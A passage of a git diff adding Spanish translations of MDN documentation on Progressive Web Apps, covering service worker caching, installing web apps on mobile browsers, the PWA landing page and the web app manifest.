+<p>Por último, el servicio <em>worker</em> obtiene contenido de la caché si está disponible allí, lo cual proporciona una funcionalidad fuera de línea:</p>
+
+<pre class="brush: js notranslate">self.addEventListener('fetch', function(e) {
+  e.respondWith(
+    caches.match(e.request).then(function(r) {
+      console.log('[Servicio Worker] Obteniendo recurso: '+e.request.url);
+      return r || fetch(e.request).then(function(response) {
+        return caches.open(cacheName).then(function(cache) {
+          console.log('[Servicio Worker] Almacena el nuevo recurso: '+e.request.url);
+          cache.put(e.request, response.clone());
+          return response;
+        });
+      });
+    })
+  );
+});</pre>
+
+<h3 id="Los_datos_de_JavaScript">Los datos de JavaScript</h3>
+
+<p>Los datos de los juegos están presentes en el directorio <em>data</em> en forma de un objeto JavaScript (<a href="https://github.com/mdn/pwa-examples/blob/master/js13kpwa/data/games.js"><code>games.js</code></a>):</p>
+
+<pre class="brush: js notranslate">var games = [
+    {
+        slug: 'perdido-en-el-ciberespacio',
+        name: 'Perdido en el ciberespacio',
+        author: 'Zosia y Bartek',
+        twitter: 'bartaz',
+        website: '',
+        github: 'github.com/bartaz/lost-in-cyberspace'
+    },
+    {
+        slug: 'vernissage',
+        name: 'Vernissage',
+        author: 'Platane',
+        twitter: 'platane_',
+        website: 'github.com/Platane',
+        github: 'github.com/Platane/js13k-2017'
+    },
+// ...
+    {
+        slug: 'emma-3d',
+        name: 'Emma-3D',
+        author: 'Prateek Roushan',
+        twitter: '',
+        website: '',
+        github: 'github.com/coderprateek/Emma-3D'
+    }
+];</pre>
+
+<p>Cada entrada tiene su propia imagen en el directorio <code>data/img</code>. Este es nuestro contenido, cargado en la sección de contenido con JavaScript.</p>
+
+<h2 id="Siguiente">Siguiente</h2>
+
+<p>En el próximo artículo veremos con más detalle cómo se almacenan en caché el intérprete de la aplicación y el contenido para su uso sin conexión con la ayuda del servicio <em>worker</em>.</p>
+
+<p>{{PreviousMenuNext("Web/Progressive_web_apps/Introduction", "Web/Progressive_web_apps/Offline_Service_workers", "Web/Progressive_web_apps")}}</p>
+
+<p>{{QuickLinksWithSubpages("/es/docs/Web/Progressive_web_apps/")}}</p>
diff --git a/files/es/web/progressive_web_apps/developer_guide/index.html b/files/es/web/progressive_web_apps/developer_guide/index.html
new file mode 100644
index 0000000000..79d2859352
--- /dev/null
+++ b/files/es/web/progressive_web_apps/developer_guide/index.html
@@ -0,0 +1,79 @@
+---
+title: PWA developer guide
+slug: Web/Progressive_web_apps/Developer_guide
+tags:
+  - Applications
+  - Apps
+  - Developer Guide
+  - Landing
+  - NeedsTranslation
+  - Offline
+  - PWA
+  - Persistent
+  - Progressive web apps
+  - TopicStub
+  - Web
+  - progressive
+translation_of: Web/Progressive_web_apps/Developer_guide
+---
+<p>{{draft}}</p>
+
+<p><span class="seoSummary">In the articles listed here, you'll find guides about every aspect of development specific to the creation of progressive web applications (PWAs).</span> For all other documentation about web development, which generally pertains to PWAs as well, see our primary <a href="/en-US/docs/Web">web development documentation</a>.</p>
+
+<p><strong>---&gt;&gt;&gt; Titles below are just for the list; give articles good SEO names and feel free to tweak those and this as needed... &lt;&lt;&lt;---</strong></p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Basics" id="Web_app_basics">Web app basics</h2>
+
+<dl>
+ <dt>Introduction and getting started with PWA development</dt>
+ <dd>some description</dd>
+ <dt><a href="/en-US/docs/Web/Progressive_web_apps/Developer_guide/Installing">Installing and uninstalling web apps</a></dt>
+ <dd>An introductory guide to how a web app can be installed on the user's device...</dd>
+ <dt>Using service workers to run offline</dt>
+ <dd>description</dd>
+ <dt>Alerting the user using notifications</dt>
+ <dd>description</dd>
+ <dt>Creating a web app from an existing site</dt>
+ <dd>description</dd>
+</dl>
+
+<h2 id="Advanced_topics">Advanced topics</h2>
+
+<dl>
+ <dt>Pushing data from the server to your web application</dt>
+ <dd>some description</dd>
+ <dt>Resource management</dt>
+ <dd>description</dd>
+ <dt>Integration with the host device</dt>
+ <dd>description</dd>
+ <dt>Security and privacy</dt>
+ <dd>description</dd>
+ <dt>Gaming topics for web app developers</dt>
+ <dd>description</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Polishing" id="Polishing_web_apps">Polishing web apps</h2>
+
+<dl>
+ <dt>Web API equivalents for common native APIs</dt>
+ <dd>some description</dd>
+ <dt>Platform-specific tips and issues</dt>
+ <dd>description</dd>
+ <dt>Web application performance guide</dt>
+ <dd>description</dd>
+ <dt>Ensuring a good user experience</dt>
+ <dd>description</dd>
+</dl>
+
+<h2 class="landingPageList" id="Related_topics">Related topics</h2>
+
+<dl>
+ <dt>some topic</dt>
+ <dd>some description</dd>
+</dl>
+</div>
+</div>
diff --git a/files/es/web/progressive_web_apps/developer_guide/instalar/index.html b/files/es/web/progressive_web_apps/developer_guide/instalar/index.html
new file mode 100644
index 0000000000..ef54a3b24c
--- /dev/null
+++ b/files/es/web/progressive_web_apps/developer_guide/instalar/index.html
@@ -0,0 +1,96 @@
+---
+title: Instalar y desinstalar aplicaciones web
+slug: Web/Progressive_web_apps/Developer_guide/Instalar
+tags:
+  - Android
+  - Apps
+  - Chrome
+  - Desinstalar
+  - Firefox
+  - Guía
+  - Lanzar
+  - PWA
+  - Pantalla de inicio
+  - Principiante
+  - Samsung
+  - Web
+  - aplicaciones
+  - aplicaciones web progresivas
+  - instalar
+translation_of: Web/Progressive_web_apps/Developer_guide/Installing
+---
+<p>{{draft}}</p>
+
+<p><span class="seoSummary">La instalación de aplicaciones web es una función disponible en los navegadores modernos que permite a los usuarios elegir "instalar" fácil y cómodamente una aplicación web en su dispositivo para que puedan acceder a ella de la misma manera que lo harían con cualquier otra aplicación.</span> Dependiendo del dispositivo y las características del sistema operativo y el navegador, esto puede resultar en lo que esencialmente es una aplicación con todas las funciones (por ejemplo, usando <a href="https://developers.google.com/web/fundamentals/integration/webapks">WebAPK</a> en Android) o como un acceso directo agregado a la pantalla de tu dispositivo. Esta guía explica cómo se realiza la instalación, qué significa y qué debes hacer como desarrollador para que los usuarios la aprovechen.</p>
+
+<h2 id="¿Por_qué_la_instalación">¿Por qué la instalación?</h2>
+
+<p>La opción de instalar una aplicación web es parte de la filosofía {{web.link("/es/docs/Web/Progressive_web_apps", "Aplicación web progresiva")}}, que proporciona a las aplicaciones web las mismas ventajas de experiencia de usuario que las aplicaciones nativas para que puedan ser competitivas. Las aplicaciones instaladas se invocan de manera más conveniente ya que tienen presencia en la pantalla de inicio de un dispositivo o en la lista o barra de aplicaciones. Esto facilita que un usuario utilice un gesto para acceder a una aplicación tocando o haciendo clic en su icono. La aplicación en sí misma, se puede manifestar como en una vista sin bordes (sin el navegador Chrome completo) pero, no obstante, se está ejecutando de manera efectiva como una pestaña dentro del navegador.</p>
+
+<p>Para los usuarios, la experiencia de una PWA aparentemente nativa es más cómoda y conveniente que un sitio web típico. Al reducir la diferencia de experiencia del usuario entre la aplicación web y las aplicaciones nativas en el dispositivo del usuario, reduce tanto la pérdida de cualquier memoria muscular que tenga relacionada con la interfaz nativa del dispositivo como la sensación de que "algo no va del todo bien" que los usuarios pueden experimentar al cambiar entre aplicaciones nativas y basadas en web.</p>
+
+<h2 id="¿Qué_navegadores_admiten_la_instalación">¿Qué navegadores admiten la instalación?</h2>
+
+<p>La instalación es compatible con Chrome para Android y Android WebView versión 31 y posteriores, Opera para Android 32 en adelante, Samsung Internet a partir de la versión 4 y Firefox para Android {{web.link("/es/docs/Mozilla/Firefox/Releases/58", "versión 58")}} y posteriores.</p>
+
+<p>Safari en iOS es un poco diferente. Algunas partes del ecosistema de PWA son compatibles, mientras que otras no. iOS 13 introdujo una experiencia de instalación mucho más comparable, que también se describe aquí.</p>
+
+<h2 id="La_instalación_en_la_experiencia_del_usuario">La instalación en la experiencia del usuario</h2>
+
+<p>Hemos escrito un sitio web de ejemplo muy simple (<a href="https://mdn.github.io/pwa-examples/a2hs/">ve nuestra demostración en vivo</a>, y también <a href="https://github.com/mdn/pwa-examples/tree/master/a2hs">ve el código fuente</a>) que no hace mucho, pero fue desarrollado con el código necesario para permitir su instalación, así como un servicio <em>worker&gt; para permitir su uso sin conexión. El ejemplo muestra una serie de imágenes de zorros. Si tienes un dispositivo compatible con la aplicación web disponible, utilízalo para navegar a nuestra demostración en <code>https://mdn.github.io/pwa-examples/a2hs/</code>. Verás imágenes de zorros, pero lo que es más importante, habrá alguna forma de interfaz de usuario disponible para permitirte instalar el sitio como una aplicación web.</em></p>
+
+<p><em>La interfaz de usuario para esto varía de un navegador a otro, pero la idea general es la misma. Desafortunadamente, no existe un estándar para los iconos y símbolos utilizados para operaciones como esta.</em></p>
+
+<h3 id="Firefox_para_Android"><em>Firefox para Android</em></h3>
+
+<p><em>En un dispositivo Android que usa Firefox, verás un ícono de "inicio" con un ícono más (+) en su interior; este es el ícono "Agregar a la pantalla de inicio" que se muestra para cualquier sitio que tenga las características necesarias en su lugar.</em></p>
+
+<p><em><strong id="docs-internal-guid-7d1a3d87-7fff-4a7b-6728-ae4999c46dd4"><img alt="Una captura de pantalla de un navegador web que muestra el ícono Agregar a la pantalla de inicio en la parte superior" src="https://mdn.mozillademos.org/files/17158/android-a2hs-icon.png " style="height: 64px; width: 500px;"></strong></em></p>
+
+<p><em>Al tocar este, se mostrará un pasquín de confirmación; al presionar el botón grande "+ AGREGAR A LA PANTALLA DE INICIO", se completa la acción y se agrega la aplicación a la pantalla de inicio. Ten en cuenta que en Android 8 y versiones posteriores, se mostrará primero un cuadro de diálogo de permiso "Agregar a la pantalla de inicio" a nivel del sistema.</em></p>
+
+<p><em><img alt="Una captura de pantalla de Firefox para Android que solicita confirmación antes de instalar una aplicación web" src="https://mdn.mozillademos.org/files/17160/fx-a2hs-banner.png" style="height: 301px; width: 500px;"></em></p>
+
+<h3 id="Navegador_de_Internet_Samsung"><em>Navegador de Internet Samsung</em></h3>
+
+<p><em>Si tiene Samsung Internet en tu dispositivo móvil, verás un icono diferente.</em></p>
+
+<p><em><img alt="Una captura de pantalla del navegador de Internet de Samsung que muestra su icono Agregar a la pantalla de inicio" src="https://mdn.mozillademos.org/files/17161/samsung-internet-add-app.png" style="height: 247px; width: 500px;"></em></p>
+
+<p><em>Tocar ese ícono debería llevarte al mismo pasquín de confirmación que se muestra en Firefox arriba.</em></p>
+
+<h3 id="Google_Chrome_para_Android"><em>Google Chrome para Android</em></h3>
+
+<p><em>Si tienes Google Chrome para Android disponible, la experiencia es ligeramente diferente; al cargar nuestro sitio, verás un pasquín de instalación emergente que te preguntará si deseas agregar esta aplicación a tu pantalla de inicio.</em></p>
+
+<p><em><img alt="Captura de pantalla de un pasquín de Chrome que solicita permiso para instalar la aplicación de muestra Foxes" src="https://mdn.mozillademos.org/files/17159/chrome-a2hs-banner.png" style="height: 301px; width: 500px;"></em></p>
+
+<div class="blockIndicator note">
+<p><em><strong>Nota</strong>: Puedes obtener más información sobre los paquínes de instalación de Chrome en el artículo <a href="https://developers.google.com/web/fundamentals/app-install-banners/">Pasquínes de instalación de aplicaciones web</a>.</em></p>
+</div>
+
+<p><em>Si eliges no agregarlo a tu pantalla de inicio en este momento, los puedes hacer más tarde usando el ícono "Agregar a la pantalla de inicio" en el menú principal de Chrome.</em></p>
+
+<h3 id="Safari_para_iOSiPhoneOSiPadOS"><em>Safari para iOS/iPhoneOS/iPadOS</em></h3>
+
+<p><em>En iOS de Apple (incluidos iPhoneOS y iPadOS), el navegador Safari integrado en el dispositivo tiene cierto soporte para aplicaciones web, incluido el soporte para agregar a la función de pantalla de inicio. Para agregar una aplicación web a la pantalla de inicio (también conocida como lanzador o trampolín), toca el botón para compartir (<img alt="Icono de compartir cuadrado y flecha desde iOS y macOS" src="https://mdn.mozillademos.org/files/17156/square.svg" style="height: 18px; width: 14px;">) en la parte inferior de la pantalla:</em></p>
+
+<p><em><img alt="Captura de pantalla que muestra la ubicación del botón Compartir en Safari en iOS 13" src="https://mdn.mozillademos.org/files/17163/safari-ios-a2hs-icon.png" style="height: 617px; width: 500px;"></em></p>
+
+<p><em>Esto llama al panel para compartir. Entre las opciones debe estar la opción "Agregar a la pantalla de inicio", a menos que el usuario la haya eliminado específicamente de la lista al editar las opciones mostradas:</em></p>
+
+<p><em><img alt="Captura de pantalla del panel para compartir de Safari iOS, que muestra la opción" src="https://mdn.mozillademos.org/files/17165/safari-ios-share-menu.png" style="height: 551px; width: 500px;"></em></p>
+
+<p><em>Al elegir "Agregar a la pantalla de inicio" aquí se presenta el cuadro de diálogo de confirmación, que no solo confirma que el usuario desea agregar la aplicación a la pantalla de inicio, sino que también le permite personalizar su nombre.</em></p>
+
+<p><em><img alt='Una captura de pantalla de iOS Safari que muestra su panel de configuración y confirmación "Agregar a la pantalla de inicio"' src="https://mdn.mozillademos.org/files/17167/safari-ios-a2hs-banner.png" style="height: 439px; width: 500px;"></em></p>
+
+<p><em>Al hacer clic en "Agregar", la aplicación se incluye en la pantalla de inicio.</em></p>
+
+<h3 id="La_aplicación_web_instalada"><em>La aplicación web instalada</em></h3>
+
+<p><em>Independientemente del navegador y el dispositivo que estés utilizando, cuando eliges agregar la aplicación a tu pantalla de inicio o al iniciador de aplicaciones, aparecerá allí con el mismo aspecto que cualquier aplicación. Normalmente, esto significa que verás el icono de la aplicación junto con un título corto.</em></p>
+
+<p><em><img alt='Captura de pantalla de una pantalla de inicio de Android con la aplicación "Foxes" mostrada' src="https://mdn.mozillademos.org/files/17157/a2hs-on-home-screen.png" style="height: 304px; width: 500px;"></em></p>
+
+<p><em>Cuando tocas el icono de la aplicación web en la pantalla de inicio, se abre en un entorno web de pantalla completa, sin la interfaz de usuario del navegador a su alrededor.</em></p>
diff --git a/files/es/web/progressive_web_apps/index.html b/files/es/web/progressive_web_apps/index.html
new file mode 100644
index 0000000000..10a3638497
--- /dev/null
+++ b/files/es/web/progressive_web_apps/index.html
@@ -0,0 +1,107 @@
+---
+title: Aplicaciones Web Progresivas
+slug: Web/Progressive_web_apps
+tags:
+  - Aplicaciones Web
+  - Aplicaciones web modernas
+  - Aplicación Web Progresiva
+  - Aplicación web
+  - PWA
+  - aplicación
+translation_of: Web/Progressive_web_apps
+---
+<div>{{draft}}</div>
+
+<p class="summary"><img alt="Logotipo de la comunidad PWA" src="https://mdn.mozillademos.org/files/16742/pwa.png" style="display: block; float: left; height: 188px; margin: 0px auto; padding-bottom: 1em; padding-right: 2em; width: 350px;">Las <strong><em>aplicaciones web progresivas</em></strong> (mejor conocidas como <strong>PWA</strong>s por «<em><strong>P</strong>rogressive <strong>W</strong>eb <strong>A</strong>pps</em>») son aplicaciones web que utilizan APIs y funciones emergentes del navegador web junto a una estrategia tradicional de mejora progresiva para ofrecer una aplicación nativa —como la experiencia del usuario para aplicaciones web multiplataforma. Las aplicaciones web progresivas son un patrón de diseño útil, aunque no son un estándar formalizado. Se puede pensar que PWA es similar a AJAX u otros patrones similares que abarcan un conjunto de atributos de aplicación, incluido el uso de tecnologías y técnicas web específicas. Este conjunto de documentos te dice todo lo que necesitas saber sobre ellas.</p>
+
+<p>Para poder llamar PWA a una aplicación web, técnicamente hablando debe tener las siguientes características: {{web.link("/es/docs/Web/Security/Secure_Contexts", "Contexto seguro")}} (<strong>{{Glossary("HTTPS")}}</strong>), uno o más {{web.link("/es/docs/Web/API/Service_Worker_API", "Servicio Workers")}} y un {{web.link("/es/docs/Web/Manifest", "archivo de manifiesto")}}.</p>
+
+<dl>
+ <dt>{{web.link("/es/docs/Web/Security/Secure_Contexts", "Contexto seguro")}} ({{Glossary("HTTPS")}})</dt>
+ <dd>La aplicación web se debe servir a través de una red segura. Ser un sitio seguro no solo es una buena práctica, sino que también establece tu aplicación web como un sitio confiable, especialmente si los usuarios necesitan realizar transacciones seguras. La mayoría de las funciones relacionadas con una PWA, como la geolocalización e incluso los servicios <em>workers</em>, solamente están disponibles cuando la aplicación se ha cargado mediante HTTPS.</dd>
+ <dt>{{web.link("/es/docs/Web/API/Service_Worker_API", "Servicio workers")}}</dt>
+ <dd>Un servicio <em>worker</em> es un script que permite interceptar y controlar cómo un navegador web maneja tus solicitudes de red y el almacenamiento en caché de activos. Con los servicios <em>worker</em>, los desarrolladores web pueden crear páginas web rápidas y fiables junto con experiencias fuera de línea.</dd>
+ <dt>{{web.link("/es/docs/Web/Manifest", "El archivo manifest")}}</dt>
+ <dd>Un archivo {{Glossary("JSON")}} que controla cómo se muestra tu aplicación al usuario y garantiza que las aplicaciones web progresivas sean detectables. Describe el nombre de la aplicación, la URL de inicio, los iconos y todos los demás detalles necesarios para transformar el sitio web en un formato similar al de una aplicación.</dd>
+</dl>
+
+<h2 id="Ventajas_de_PWA">Ventajas de PWA</h2>
+
+<p>Las PWA deben ser detectables, instalables, enlazables, independientes de la red, progresivas, reconectables, responsivas y seguras. Para obtener más información sobre lo que esto significa, lee {{web.link("/es/docs/Web/Progressive_web_apps/Advantages", "Ventajas de las aplicaciones web progresivas")}}.</p>
+
+<p>Para saber cómo implementar PWA, lee la {{web.link("/es/docs/Web/Progressive_web_apps/Developer_guide", "guía para desarrolladores de PWA")}}.</p>
+
+<h2 id="Documentación">Documentación</h2>
+
+<p><strong>&lt;-- La lista automática temporal a continuación se reemplazará pronto --&gt;</strong></p>
+
+<p>{{LandingPageListSubpages}}</p>
+
+<div class="blockIndicator warning">
+<p><strong>Todo lo que se encuentra debajo de este punto es un remanente de la versión anterior de esta página y se renovará a medida que se revise el resto del contenido.</strong></p>
+</div>
+
+<h2 id="Guías_del_núcleo_de_PWA">Guías del núcleo de PWA</h2>
+
+<p>Las siguientes guías te muestran lo que debes hacer para implementar una PWA, examinando un ejemplo simple y mostrándote cómo funcionan todas las piezas.</p>
+
+<ol>
+ <li>{{web.link("/es/docs/Web/Progressive_web_apps/Introduction", "Introducción a las aplicaciones web progresivas")}}</li>
+ <li>{{web.link("/es/docs/Web/Progressive_web_apps/App_structure", "Estructura de la aplicación web progresiva")}}</li>
+ <li>{{web.link("/es/docs/Web/Progressive_web_apps/Offline_Service_workers", "Hacer que las PWAs funcionen sin conexión con el servicio de workers")}}</li>
+ <li>{{web.link("/es/docs/Web/Progressive_web_apps/Installable_PWAs", "Cómo hacer que las PWAs se puedan instalar")}}</li>
+ <li>{{web.link("/es/docs/Web/Progressive_web_apps/Re-engageable_Notifications_Push", "Cómo hacer que las PWAs puedan volver a interactuar usando Notificaciones y Push")}}</li>
+ <li>{{web.link("/es/docs/Web/Progressive_web_apps/Loading", "Carga progresiva")}}</li>
+</ol>
+
+<div class="column-container">
+<div class="column-half">
+<h2 id="Guías_tecnológicas">Guías tecnológicas</h2>
+
+<ul>
+ <li>{{web.link("/es/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage", "Almacenamiento del lado del cliente")}} — una extensa guía que muestra cómo y cuándo utilizar el almacenamiento web, <code>IndexedDB</code> y el servicio <em>workers</em>.</li>
+ <li>{{web.link("/es/docs/Web/API/Service_Worker_API/Using_Service_Workers", "Uso del servicio workers")}} — una guía más detallada que cubre la API del servicio <em>workers</em>.</li>
+ <li>{{web.link("/es/docs/Web/API/IndexedDB_API/Using_IndexedDB", "Uso de IndexedDB")}} — los fundamentos de <code>IndexedDB</code>, explicados en detalle.</li>
+ <li>{{web.link("/es/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API", "Uso de la API de almacenamiento web")}} — la API de almacenamiento web simplificada.</li>
+ <li><a class="external external-icon" href="https://developers.google.com/web/updates/2015/11/app-shell" rel="noopener">Aplicaciones web de carga instantánea con una arquitectura de intérprete de aplicaciones</a> — una guía para usar el patrón de codificación de intérprete de App para crear aplicaciones que se cargan rápidamente.</li>
+ <li>{{web.link("/es/docs/Web/API/Push_API/Using_the_Push_API", "Uso de la API Push")}} — aprende los conceptos básicos de la API Web <code>Push</code>.</li>
+ <li>{{web.link("/es/docs/Web/API/Notifications_API/Using_the_Notifications_API", "Uso de la API de notificaciones")}} — notificaciones web en pocas palabras.</li>
+ <li>{{web.link("/es/docs/Web/Apps/Modern/Responsive/responsive_design_building_blocks", "Los componentes básicos del diseño responsivo")}} — aprende los conceptos básicos del diseño responsivo, un tema esencial para el diseño de aplicaciones modernas.</li>
+ <li>{{web.link("/es/docs/Web/Apps/Modern/Responsive/Mobile_first", "Primero móvil")}} — a menudo, al crear diseños de aplicaciones adaptables, tiene sentido crear el diseño móvil como predeterminado y construir diseños más anchos en la parte superior.</li>
+ <li>{{web.link("/es/docs/Web/Apps/Progressive/Add_to_home_screen", "Guía para agregar la pantalla de inicio")}} — aprende cómo tus aplicaciones pueden aprovechar agregar la pantalla de inicio (A2HS).</li>
+</ul>
+</div>
+
+<div class="column-half">
+<h2 id="Herramientas">Herramientas</h2>
+
+<ul>
+ <li><a class="external external-icon" href="https://localforage.github.io/localForage/" rel="noopener">localForage</a> — una biblioteca de JavaScript sencilla y agradable para almacenar datos en el lado del cliente de manera realmente simple, usa <code>IndexedDB</code> y recurre a <code>Web SQL</code>/<code>Web Storage</code> si es necesario.</li>
+ <li><a class="external external-icon" href="https://github.com/fxos-components/serviceworkerware" rel="noopener"><code>ServiceWorkerWare</code></a> — un <em>microframework tipo Express</em> para facilitar el desarrollo del Servicio <em>Worker</em>.</li>
+ <li><a class="external external-icon" href="https://github.com/mozilla/oghliner" rel="noopener"><code>oghliner</code></a> — no solo es una plantilla, sino una herramienta para implementar aplicaciones web sin conexión para Páginas de GitHub.</li>
+ <li><a class="external external-icon" href="https://github.com/GoogleChrome/sw-precache" rel="noopener"><code>sw-precache</code></a> — un módulo de <code>node</code> para generar código del servicio <em>worker que precargará recursos específicos.</em></li>
+ <li><em><a class="external external-icon" href="https://github.com/GoogleChrome/workbox" rel="noopener">workbox</a>: sucesor espiritual de "sw-precache" con estrategias de almacenamiento en caché más avanzadas y sencillas precargas.</em></li>
+ <li><em><a class="external external-icon" href="https://www.talater.com/upup/" rel="noopener">upup</a>: un diminuto script que garantiza que tu sitio siempre esté disponible para tus usuarios.</em></li>
+ <li><em><a class="external external-icon" href="https://serviceworke.rs/" rel="noopener">El libro de recetas para servicios <em>worker</em></a>: una serie de excelentes recetas de servicios <em>worker</em> que muestran cómo implementar una aplicación sin conexión, además de otros muchos concejos.</em></li>
+ <li><em><a href="https://marketplace.visualstudio.com/items?itemName=mayeedwin.vscode-pwa">Extensión PWA de VS Code</a>: una colección de todos los fragmentos de código esenciales que necesitas para crear aplicaciones web progresivas correctamente allí en tu entorno de VS Code.</em></li>
+</ul>
+</div>
+</div>
+
+<ul>
+ <li><em><a href="https://developers.google.com/web/progressive-web-apps">Aplicaciones web progresivas</a> en Google Developers.</em></li>
+ <li><em><a href="https://medium.com/@slightlylate/progressive-apps-escaping-tabs-without-losing-our-soul-3b93a8561955#.6czgj0myh">Aplicaciones web progresivas: escapar de las pestañas sin perder el alma</a> de Alex Russell.</em></li>
+ <li><em><a href="https://developers.google.com/web/progressive-web-apps/checklist">Lista de verificación de aplicaciones web progresivas</a>.</em></li>
+ <li><em><a href="https://developers.google.com/web/tools/lighthouse">La herramienta Lighthouse</a> de Google.</em></li>
+ <li><em><a href="https://github.com/angular/mobile-toolkit">Herramientas para crear aplicaciones web progresivas con Angular</a>.</em></li>
+ <li><em><a href="#" title="https://github.com/codebusking/react-pwa-guide-kit">Kit de guía de React PWA</a>.</em></li>
+ <li><em><a href="https://pokedex.org/">Sitio web de la Pokedex sin conexión</a>.</em></li>
+ <li><em><a href="https://hnpwa.com/">Lectores de noticias Hacker como aplicaciones web progresivas</a>.</em></li>
+ <li><em><a href="https://goingmeta.io/progressive-web-app/">Aplicación web progresiva: ventajas en pocas palabras</a></em></li>
+ <li><em><a href="https://ymedialabs.com/progressive-web-apps">Por qué las aplicaciones web progresivas son el futuro de la web móvil (investigación de 2019)</a>.</em></li>
+ <li><em><a href="https://www.csschopper.com/blog/progressive-web-apps-everything-you-need-to-know/">Aplicaciones web progresivas: todo lo que necesitas saber</a></em></li>
+ <li><em><a href="https://pwafire.org">Colección de recursos, laboratorios de código y herramientas que necesitas para crear PWAs por parte del equipo de pwafire.org</a></em></li>
+ <li><em><a href="https://github.com/pwafire/pwadev-tips">Configuración de tu entorno de desarrollo de aplicaciones web progresivas</a></em></li>
+</ul>
+
+<div><em>{{QuickLinksWithSubpages("/es/docs/Web/Progressive_web_apps/")}}</em></div>
diff --git a/files/es/web/progressive_web_apps/installable_pwas/index.html b/files/es/web/progressive_web_apps/installable_pwas/index.html
new file mode 100644
index 0000000000..8994574904
--- /dev/null
+++ b/files/es/web/progressive_web_apps/installable_pwas/index.html
@@ -0,0 +1,130 @@
+---
+title: Cómo hacer PWAs instalables
+slug: Web/Progressive_web_apps/Installable_PWAs
+tags:
+  - Instalable
+  - PWAs
+  - aapi
+  - agregar a pantalla de inicio
+  - aplicaciones web progresivas
+  - js13kGames
+  - progresiva
+translation_of: Web/Progressive_web_apps/Installable_PWAs
+---
+<div>{{PreviousMenuNext("Web/Apps/Progressive/Offline_Service_workers", "Web/Apps/Progressive/Re-engageable_Notifications_Push", "Web/Apps/Progressive")}}</div>
+
+<p class="summary">En el último artículo, leímos cómo la aplicación de ejemplo, <a href="https://mdn.github.io/pwa-examples/js13kpwa/">js13kPWA</a>, funciona sin conexión gracias a su {{web.link("/es/docs/Web/API/Service_Worker_API", "servicio worker")}}, pero podemos ir aún más lejos y permitir que los usuarios instalen la aplicación web en los navegadores móviles y de escritorio que lo admitan. Los usuarios pueden iniciar la aplicación web instalada como si fuera una aplicación nativa. Este artículo explica cómo lograr esto usando el manifiesto de la aplicación web.</p>
+
+<p>Estas tecnologías permiten que la aplicación se inicie directamente desde la pantalla de inicio del dispositivo, en lugar de que el usuario tenga que abrir el navegador y luego navegar al sitio utilizando un marcador o escribiendo la URL. Tu aplicación web se puede sentar junto a aplicaciones nativas como ciudadanos de primera clase. Esto facilita el acceso a la aplicación web; Además, puedes especificar que la aplicación se inicie en modo de pantalla completa o independiente, eliminando así la interfaz de usuario predeterminada del navegador que de otro modo estaría presente, creando una sensación aún más fluida y similar a la nativa.</p>
+
+<h2 id="Requisitos">Requisitos</h2>
+
+<p>Para que el sitio web sea instalable, necesitas lo siguiente:</p>
+
+<ul>
+ <li>Un manifiesto web, con los {{web.link("/es/Apps/Progressive/Add_to_home_screen#Manifest", "campos correctos completados")}}</li>
+ <li>Que sitio web se sirva desde un dominio seguro (HTTPS)</li>
+ <li>Un icono para representar la aplicación en el dispositivo.</li>
+ <li>Un {{web.link("/es/docs/Web/API/Service_Worker_API", "servicio worker")}} registrado para permitir que la aplicación funcione sin conexión (actualmente, esto solo lo requiere Chrome para Android)</li>
+</ul>
+
+<div class="blockIndicator note">
+<p>Actualmente, solo los navegadores basados en Chromium tal como Chrome, Edge y Samsung Internet requieren el servicio <em>worker</em>. Si desarrollas tu aplicación con Firefox, ten en cuenta que necesitarás un servicio <em>worker</em> para que sea compatible con los navegadores basados ​​en Chromium.</p>
+</div>
+
+<h3 id="El_archivo_de_manifiesto">El archivo de manifiesto</h3>
+
+<p dir="ltr">El elemento clave es un archivo de manifiesto web, que enumera toda la información sobre el sitio web en formato JSON.</p>
+
+<p dir="ltr">Suele residir en el directorio raíz de una aplicación web. Contiene información útil, como el título de la aplicación, rutas a iconos de diferentes tamaños que se pueden usar para representar la aplicación en un sistema operativo (como un icono en la pantalla de inicio, una entrada en el menú Inicio o un icono en el escritorio) y un color de fondo para usar en las pantallas de carga o de presentación. Esta información es necesaria para que el navegador presente la aplicación web correctamente durante el proceso de instalación, así como dentro de la interfaz de inicio de la aplicación del dispositivo, como la pantalla de inicio de un dispositivo móvil.</p>
+
+<p>El archivo <code>js13kpwa.webmanifest</code> de la aplicación web <a href="https://mdn.github.io/pwa-examples/js13kpwa/">js13kPWA</a> se incluye en el bloque {{HTMLElement("head")}} del archivo <code>index.html</code> de la aplicación web usando la siguiente línea de código:</p>
+
+<pre class="brush: html notranslate">&lt;link rel="manifest" href="js13kpwa.webmanifest"&gt;</pre>
+
+<div class="note">
+<p>Hay algunos tipos comunes de archivos de manifiesto que se han utilizado en el pasado: <code>manifest.webapp</code> era popular en los manifiestos de aplicaciones de Firefox OS, y muchos usan <code>manifest.json</code> para manifestar aplicaciones web ya que el contenido está organizado en una estructura JSON. Sin embargo, el formato de archivo <code>.webmanifest</code> se menciona explícitamente en la <a href="https://w3c.github.io/manifest/">especificación del manifiesto W3C</a>, por lo tanto ese es el que usaremos aquí.</p>
+</div>
+
+<p>El contenido del archivo se ve así:</p>
+
+<pre class="brush: json notranslate">{
+  "name": "js13kGames Progressive Web App",
+  "short_name": "js13kPWA",
+  "description": "Aplicación web progresiva que enumera los juegos enviados a la categoría del marco A en la competencia js13kGames del 2017.",
+  "icons": [
+    {
+      "src": "icons/icon-32.png",
+      "sizes": "32x32",
+      "type": "image/png"
+    },
+    // ...
+    {
+      "src": "icons/icon-512.png",
+      "sizes": "512x512",
+      "type": "image/png"
+    }
+  ],
+  "start_url": "/pwa-examples/js13kpwa/index.html",
+  "display": "fullscreen",
+  "theme_color": "#B12A34",
+  "background_color": "#B12A34"
+}
+</pre>
+
+<p>La mayoría de los campos se explican por sí mismos, pero para estar seguros de que estamos en la misma página:</p>
+
+<ul>
+ <li><code>name</code>: El nombre completo de tu aplicación web.</li>
+ <li><code>short_name</code>: Nombre corto que se mostrará en la pantalla de inicio.</li>
+ <li><code>description</code>: Una o dos frases que explican lo que hace tu aplicación.</li>
+ <li><code>icons</code>: Gran cantidad de información de íconos — URLs de origen, tamaños y tipos. Asegúrate de incluir al menos algunos, de modo que se elija el que mejor se adapte al dispositivo del usuario.</li>
+ <li><code>start_url</code>: El documento <code>index</code> que se iniciará al arrancar la aplicación.</li>
